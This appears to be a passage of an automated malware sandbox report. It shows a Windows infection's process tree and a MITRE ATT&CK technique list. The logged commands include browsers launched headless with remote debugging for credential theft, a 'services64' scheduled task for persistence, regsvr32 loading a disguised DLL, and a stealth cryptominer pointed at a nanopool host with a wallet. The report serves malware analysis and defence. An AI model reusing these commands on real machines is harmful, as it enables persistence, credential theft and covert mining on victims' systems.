                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4156,i,13475670174845554768,15632531206891617376,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=4152 /prefetch:9
                                                                                        8⤵
                                                                                        • Uses browser remote debugging
                                                                                        PID:4532
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4520,i,13475670174845554768,15632531206891617376,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=4352 /prefetch:1
                                                                                        8⤵
                                                                                        • Uses browser remote debugging
                                                                                        PID:644
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --field-trial-handle=5112,i,13475670174845554768,15632531206891617376,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=5108 /prefetch:14
                                                                                        8⤵
                                                                                          PID:2272
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --field-trial-handle=5484,i,13475670174845554768,15632531206891617376,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=5480 /prefetch:14
                                                                                          8⤵
                                                                                            PID:5264
                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222 --headless=new --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --disable-gpu --disable-logging
                                                                                          7⤵
                                                                                          • Uses browser remote debugging
                                                                                          • Drops file in Windows directory
                                                                                          • Enumerates system info in registry
                                                                                          • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                          PID:4252
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x238,0x264,0x7fff3a98f208,0x7fff3a98f214,0x7fff3a98f220
                                                                                            8⤵
                                                                                              PID:3176
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --always-read-main-dll --field-trial-handle=2512,i,17670403340097471099,16600612750069640140,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=2508 /prefetch:11
                                                                                              8⤵
                                                                                                PID:1652
                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --always-read-main-dll --field-trial-handle=2548,i,17670403340097471099,16600612750069640140,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=2544 /prefetch:13
                                                                                                8⤵
                                                                                                  PID:4612
                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --headless=new --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2480,i,17670403340097471099,16600612750069640140,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=2472 /prefetch:2
                                                                                                  8⤵
                                                                                                    PID:4016
                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3260,i,17670403340097471099,16600612750069640140,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=3256 /prefetch:1
                                                                                                    8⤵
                                                                                                    • Uses browser remote debugging
                                                                                                    PID:2612
                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3300,i,17670403340097471099,16600612750069640140,262144 --disable-features=PaintHolding --variations-seed-version --disable-logging --mojo-platform-channel-handle=3248 /prefetch:1
                                                                                                    8⤵
                                                                                                    • Uses browser remote debugging
                                                                                                    PID:2808
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\7f627f75-e06e-47f0-a1d5-e65fc5b7b6bc.bat"
                                                                                                  7⤵
                                                                                                    PID:1764
                                                                                                    • C:\Windows\system32\chcp.com
                                                                                                      chcp 65001
                                                                                                      8⤵
                                                                                                        PID:2848
                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                        taskkill /F /PID 5276
                                                                                                        8⤵
                                                                                                        • Kills process with taskkill
                                                                                                        PID:1736
                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                        timeout /T 2 /NOBREAK
                                                                                                        8⤵
                                                                                                        • Delays execution with timeout.exe
                                                                                                        PID:2724
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\10012570101\9eteMk9.exe
                                                                                                    "C:\Users\Admin\AppData\Local\Temp\10012570101\9eteMk9.exe"
                                                                                                    6⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    PID:880
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-90LDD.tmp\9eteMk9.tmp
                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-90LDD.tmp\9eteMk9.tmp" /SL5="$423DE,2503225,815104,C:\Users\Admin\AppData\Local\Temp\10012570101\9eteMk9.exe"
                                                                                                      7⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                      PID:2508
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\10012570101\9eteMk9.exe
                                                                                                        "C:\Users\Admin\AppData\Local\Temp\10012570101\9eteMk9.exe" /VERYSILENT
                                                                                                        8⤵
                                                                                                        • Executes dropped EXE
                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                        PID:4596
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-GAKE1.tmp\9eteMk9.tmp
                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-GAKE1.tmp\9eteMk9.tmp" /SL5="$523DE,2503225,815104,C:\Users\Admin\AppData\Local\Temp\10012570101\9eteMk9.exe" /VERYSILENT
                                                                                                          9⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                                          PID:4972
                                                                                                          • C:\Windows\system32\regsvr32.exe
                                                                                                            "C:\Windows\Sysnative\regsvr32.exe" /s /i:googlechromebusiness.msi "C:\Users\Admin\AppData\Local\MediumPurple8.pfx"
                                                                                                            10⤵
                                                                                                              PID:5664
                                                                                                              • C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                /s /i:googlechromebusiness.msi "C:\Users\Admin\AppData\Local\MediumPurple8.pfx"
                                                                                                                11⤵
                                                                                                                • Loads dropped DLL
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                • Suspicious behavior: AddClipboardFormatListener
                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                PID:108
                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/s /i:googlechromebusiness.msi \"\\?\C:\Users\Admin\AppData\Local\MediumPurple8.pfx\"' }) { exit 0 } else { exit 1 }"
                                                                                                                  12⤵
                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:5808
                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exe
                                                                                                                  "PowerShell.exe" -NoProfile -NonInteractive -Command -
                                                                                                                  12⤵
                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:3460
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\10013320101\28ce13c2f0.exe
                                                                                                      "C:\Users\Admin\AppData\Local\Temp\10013320101\28ce13c2f0.exe"
                                                                                                      6⤵
                                                                                                      • Executes dropped EXE
                                                                                                      PID:1308
                                                                                                      • C:\Windows\System32\conhost.exe
                                                                                                        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\10013320101\28ce13c2f0.exe"
                                                                                                        7⤵
                                                                                                          PID:2968
                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                            "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
                                                                                                            8⤵
                                                                                                              PID:1584
                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
                                                                                                                9⤵
                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                PID:6044
                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                              "cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"
                                                                                                              8⤵
                                                                                                                PID:3372
                                                                                                                • C:\Users\Admin\AppData\Roaming\services64.exe
                                                                                                                  C:\Users\Admin\AppData\Roaming\services64.exe
                                                                                                                  9⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  PID:3468
                                                                                                                  • C:\Windows\System32\conhost.exe
                                                                                                                    "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"
                                                                                                                    10⤵
                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                    PID:5780
                                                                                                                    • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                                                                                                                      "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                                                                                                                      11⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:4840
                                                                                                                      • C:\Windows\System32\conhost.exe
                                                                                                                        "C:\Windows\System32\conhost.exe" "/sihost64"
                                                                                                                        12⤵
                                                                                                                          PID:3332
                                                                                                                      • C:\Windows\System32\svchost.exe
                                                                                                                        C:\Windows/System32\svchost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-us-east1.nanopool.org:10343 --user=88L9RJuZVQSCUJzwHmKEKqBt7cVTnPqG7TVtXd9gfuSfeXNRm4v4arUPxXsoBJRT974u2PDE7hFVyfJhmYtQ8bSP3D2wG5H --pass=rig1 --cpu-max-threads-hint=20 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --tls --cinit-stealth
                                                                                                                        11⤵
                                                                                                                          PID:5560
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\10013530101\QHEiDN7.exe
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\10013530101\QHEiDN7.exe"
                                                                                                                6⤵
                                                                                                                • Executes dropped EXE
                                                                                                                PID:5480
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\10013550101\3160ea8715.exe
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\10013550101\3160ea8715.exe"
                                                                                                                6⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                PID:5448
                                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                  7⤵
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:1020
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\10013560101\fbdf873afe.exe
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\10013560101\fbdf873afe.exe"
                                                                                                                6⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:1016
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\10013570101\8b626c3a7f.exe
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\10013570101\8b626c3a7f.exe"
                                                                                                                6⤵
                                                                                                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                • Checks BIOS information in registry
                                                                                                                • Executes dropped EXE
                                                                                                                • Identifies Wine through registry keys
                                                                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:3344
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\10013580101\QHEiDN7.exe
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\10013580101\QHEiDN7.exe"
                                                                                                                6⤵
                                                                                                                  PID:3320
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\bd4cae89c3\suker.exe
                                                                                                        C:\Users\Admin\AppData\Local\Temp\bd4cae89c3\suker.exe
                                                                                                        1⤵
                                                                                                        • Executes dropped EXE
                                                                                                        PID:920
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5324 -ip 5324
                                                                                                        1⤵
                                                                                                          PID:3060
                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 5324 -ip 5324
                                                                                                          1⤵
                                                                                                            PID:3560
                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 5324 -ip 5324
                                                                                                            1⤵
                                                                                                              PID:1644
                                                                                                            • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                                                                                                              1⤵
                                                                                                                PID:880
                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 352 -p 5324 -ip 5324
                                                                                                                1⤵
                                                                                                                  PID:5288
                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5324 -ip 5324
                                                                                                                  1⤵
                                                                                                                    PID:1980
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 5324 -ip 5324
                                                                                                                    1⤵
                                                                                                                      PID:4956
                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 5324 -ip 5324
                                                                                                                      1⤵
                                                                                                                        PID:5884
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 5324 -ip 5324
                                                                                                                        1⤵
                                                                                                                          PID:2808
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 5460 -ip 5460
                                                                                                                          1⤵
                                                                                                                            PID:4856
                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 5460 -ip 5460
                                                                                                                            1⤵
                                                                                                                              PID:1332
                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 5460 -ip 5460
                                                                                                                              1⤵
                                                                                                                                PID:2232
                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 5460 -ip 5460
                                                                                                                                1⤵
                                                                                                                                  PID:3024
                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 5460 -ip 5460
                                                                                                                                  1⤵
                                                                                                                                    PID:2560
                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 5460 -ip 5460
                                                                                                                                    1⤵
                                                                                                                                      PID:4500
                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 5460 -ip 5460
                                                                                                                                      1⤵
                                                                                                                                        PID:3684
                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 5460 -ip 5460
                                                                                                                                        1⤵
                                                                                                                                          PID:5064
                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 5460 -ip 5460
                                                                                                                                          1⤵
                                                                                                                                            PID:3116
                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 5460 -ip 5460
                                                                                                                                            1⤵
                                                                                                                                              PID:3384
                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 5460 -ip 5460
                                                                                                                                              1⤵
                                                                                                                                                PID:5412
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 5460 -ip 5460
                                                                                                                                                1⤵
                                                                                                                                                  PID:5404
                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 5460 -ip 5460
                                                                                                                                                  1⤵
                                                                                                                                                    PID:1080
                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 5460 -ip 5460
                                                                                                                                                    1⤵
                                                                                                                                                      PID:6132
                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 5460 -ip 5460
                                                                                                                                                      1⤵
                                                                                                                                                        PID:1096
                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 5460 -ip 5460
                                                                                                                                                        1⤵
                                                                                                                                                          PID:5408
                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 5460 -ip 5460
                                                                                                                                                          1⤵
                                                                                                                                                            PID:1308
                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                                                                                                                                                            1⤵
                                                                                                                                                              PID:2776
                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                                                                                                                                                              1⤵
                                                                                                                                                                PID:3500
                                                                                                                                                              • C:\Windows\system32\msiexec.exe
                                                                                                                                                                C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                1⤵
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                PID:4480
                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 5460 -ip 5460
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:4244
                                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:3384
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\bd4cae89c3\suker.exe
                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\bd4cae89c3\suker.exe
                                                                                                                                                                    1⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    PID:2604
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\bjntj3tj3t\znlbv.exe
                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\bjntj3tj3t\znlbv.exe
                                                                                                                                                                    1⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    PID:4568
                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4568 -s 240
                                                                                                                                                                      2⤵
                                                                                                                                                                      • Program crash
                                                                                                                                                                      PID:3700
                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 4568 -ip 4568
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:2964
                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5460 -ip 5460
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:1496
                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:6048
                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:3920
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\bd4cae89c3\suker.exe
                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\bd4cae89c3\suker.exe
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                            PID:3304
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\bjntj3tj3t\znlbv.exe
                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\bjntj3tj3t\znlbv.exe
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                            PID:5588
                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 5588 -s 240
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Program crash
                                                                                                                                                                              PID:5188
                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 5588 -ip 5588
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:5836
                                                                                                                                                                            • C:\Windows\system32\regsvr32.EXE
                                                                                                                                                                              C:\Windows\system32\regsvr32.EXE /s /i:googlechromebusiness.msi "\\?\C:\Users\Admin\AppData\Local\MediumPurple8.pfx"
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:1464

                                                                                                                                                                              Network

                                                                                                                                                                                    MITRE ATT&CK Enterprise v16

                                                                                                                                                                                    Reconnaissance

                                                                                                                                                                                    Resource Development

                                                                                                                                                                                    Initial Access

                                                                                                                                                                                    Execution

                                                                                                                                                                                    Command and Scripting Interpreter

                                                                                                                                                                                    1
                                                                                                                                                                                    T1059

                                                                                                                                                                                    PowerShell

                                                                                                                                                                                    1
                                                                                                                                                                                    T1059.001

                                                                                                                                                                                    Scheduled Task/Job

                                                                                                                                                                                    1
                                                                                                                                                                                    T1053

                                                                                                                                                                                    Scheduled Task

                                                                                                                                                                                    1
                                                                                                                                                                                    T1053.005

                                                                                                                                                                                    Persistence

                                                                                                                                                                                    Boot or Logon Autostart Execution

                                                                                                                                                                                    1
                                                                                                                                                                                    T1547

                                                                                                                                                                                    Registry Run Keys / Startup Folder

                                                                                                                                                                                    1
                                                                                                                                                                                    T1547.001

                                                                                                                                                                                    Event Triggered Execution

                                                                                                                                                                                    1
                                                                                                                                                                                    T1546

                                                                                                                                                                                    Netsh Helper DLL

                                                                                                                                                                                    1
                                                                                                                                                                                    T1546.007

                                                                                                                                                                                    Modify Authentication Process

                                                                                                                                                                                    1
                                                                                                                                                                                    T1556

                                                                                                                                                                                    Scheduled Task/Job

                                                                                                                                                                                    1
                                                                                                                                                                                    T1053

                                                                                                                                                                                    Scheduled Task

                                                                                                                                                                                    1
                                                                                                                                                                                    T1053.005

                                                                                                                                                                                    Privilege Escalation

                                                                                                                                                                                    Boot or Logon Autostart Execution

                                                                                                                                                                                    1
                                                                                                                                                                                    T1547

                                                                                                                                                                                    Registry Run Keys / Startup Folder

                                                                                                                                                                                    1
                                                                                                                                                                                    T1547.001

                                                                                                                                                                                    Event Triggered Execution

                                                                                                                                                                                    1
                                                                                                                                                                                    T1546

                                                                                                                                                                                    Netsh Helper DLL

                                                                                                                                                                                    1
                                                                                                                                                                                    T1546.007

                                                                                                                                                                                    Scheduled Task/Job

                                                                                                                                                                                    1
                                                                                                                                                                                    T1053

                                                                                                                                                                                    Scheduled Task

                                                                                                                                                                                    1
                                                                                                                                                                                    T1053.005

                                                                                                                                                                                    Defense Evasion

                                                                                                                                                                                    Modify Authentication Process

                                                                                                                                                                                    1
                                                                                                                                                                                    T1556

                                                                                                                                                                                    Modify Registry

                                                                                                                                                                                    1
                                                                                                                                                                                    T1112

                                                                                                                                                                                    Obfuscated Files or Information

                                                                                                                                                                                    1
                                                                                                                                                                                    T1027

                                                                                                                                                                                    Command Obfuscation

                                                                                                                                                                                    1
                                                                                                                                                                                    T1027.010

                                                                                                                                                                                    Virtualization/Sandbox Evasion

                                                                                                                                                                                    2
                                                                                                                                                                                    T1497

                                                                                                                                                                                    Credential Access

                                                                                                                                                                                    Credentials from Password Stores

                                                                                                                                                                                    1
                                                                                                                                                                                    T1555

                                                                                                                                                                                    Credentials from Web Browsers

                                                                                                                                                                                    1
                                                                                                                                                                                    T1555.003
